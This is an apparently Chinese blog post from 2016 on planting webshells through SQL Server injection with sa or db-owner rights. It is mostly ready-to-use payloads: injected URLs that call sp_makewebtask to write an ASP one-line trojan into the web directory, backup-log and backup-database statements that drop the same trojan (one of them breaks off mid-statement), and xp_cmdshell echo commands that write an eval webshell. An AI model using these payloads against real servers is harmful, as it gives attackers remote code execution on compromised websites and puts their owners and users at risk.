1、sqlmap遇到MySQL注入可以成功getshell,但是,遇到sqlserver注入未成功getshell.

2、xp_cmdshell 如何 getshell(1433未对外开放).

 

解决方案一:

 

http://127.0.0.1/XXXasp?id=3389';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--


前提是注入点是sa权限

 

用sp_makewebtask直接在web目录里写入一句话马:


条件是要sa权限和站点的web路径:

 

http://127.0.0.1/xxx.asp?id=123';exec%20sp_makewebtask%20'd:\www\xxx\xxx.asp','%20select%20''<%25execute(request("cn"))%25>''%20';--


select中的双单引号起着重定义的作用

 

解决方案二:

 

SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
 
db权限的时候一句话木马备份shell:
 
1.log
create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;insert into [bin_cmd](cmd)values('<%execute(request(chr(35)))%>');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='e:\1.asp' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];
 
2.data
create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to disk=@s;insert into [bin_cmd](cmd)values('<%execute(request(chr(35)))%>');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='c:\bin.asp' backup database @b to disk=@t WITH
 
 
解决方案三:
 

注入点是SA权限.

xp_cmdshell是存在的.

找到网站主目录 dir d:\wwwroot

找到站点的目录后.

Echo ^<%eval request("#")%>^ >d:\wwwroot\xx\ok.asp
echo ^<%eval request("#")%^> >d:\wwwroot\xx\ok.asp
echo "<%eval request("#")%>" >d:\wwwroot\xx\ok.asp
 
参考:http://www.freebuf.com/articles/web/55577.html
posted on 2016-01-11 14:29  milantgh  阅读(426)  评论(0编辑  收藏  举报